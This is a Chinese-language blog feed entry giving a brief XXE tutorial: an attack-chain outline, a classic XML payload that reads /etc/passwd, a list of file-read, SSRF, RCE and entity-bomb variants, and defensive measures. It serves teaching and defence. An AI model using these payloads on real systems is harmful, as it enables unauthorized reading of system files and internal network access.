https://souljian.cn/tags/%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96/Recent content in 文件读取 on SoulJian小站Hugo -- gohugo.ioen-usSun, 30 Aug 2026 10:00:00 +0800https://souljian.cn/p/751088137/Sat, 29 Aug 2026 14:00:00 +0800https://souljian.cn/p/751088137/<h2 id="写在前面合法学习边界">写在前面：合法学习边界 </h2><p>XXE 攻击只在授权测试环境进行。对非授权系统利用 XXE 可能触犯法律。</p> <h2 id="一xxe-攻击链">一、XXE 攻击链 </h2><img src="https://souljian.cn/img/xxe-chain.svg" alt="XXE 攻击链" /> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">① 发现 XML → ② 注入 DTD → ③ 文件读取 → ④ SSRF → ⑤ OOB 外带 → ⑥ RCE </span></span></code></pre></td></tr></table> </div> </div><h2 id="二利用方式">二、利用方式 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-xml" data-lang="xml"><span class="line"><span class="cl"><span class="cp">&lt;?xml version=&#34;1.0&#34;?&gt;</span> </span></span><span class="line"><span class="cl"><span class="cp">&lt;!DOCTYPE foo [ </span></span></span><span class="line"><span class="cl"><span class="cp">&lt;!ENTITY xxe SYSTEM &#34;file:///etc/passwd&#34;&gt;</span> </span></span><span class="line"><span class="cl">]&gt; </span></span><span class="line"><span class="cl"><span class="nt">&lt;foo&gt;</span><span class="ni">&amp;xxe;</span><span class="nt">&lt;/foo&gt;</span> </span></span></code></pre></td></tr></table> </div> </div><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span><span class="lnt">5 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">文件读取：file:// /proc/self/environ </span></span><span class="line"><span class="cl">SSRF：http://internal-service/ </span></span><span class="line"><span class="cl">OOB 外带：读取无回显文件 </span></span><span class="line"><span class="cl">RCE：php://filter · expect:// </span></span><span class="line"><span class="cl">DoS：ENTITY bomb &#34;&amp;bomb;&amp;bomb;&#34; </span></span></code></pre></td></tr></table> </div> </div><h2 id="三防御方法">三、防御方法 </h2><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span><span class="lnt">3 </span><span class="lnt">4 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">禁用 DTD：libxml_disable_entity_loader(true) </span></span><span class="line"><span class="cl">使用 JSON 替代 XML </span></span><span class="line"><span class="cl">更新依赖库到安全版本 </span></span><span class="line"><span class="cl">WAF 规则检测 XXE payload </span></span></code></pre></td></tr></table> </div> </div><h2 id="四小结">四、小结 </h2><p>XXE 攻击面广泛（文件读取/SSRF/RCE/DoS）。防御核心是<strong>禁用外部实体解析</strong>或使用 JSON 替代 XML。</p>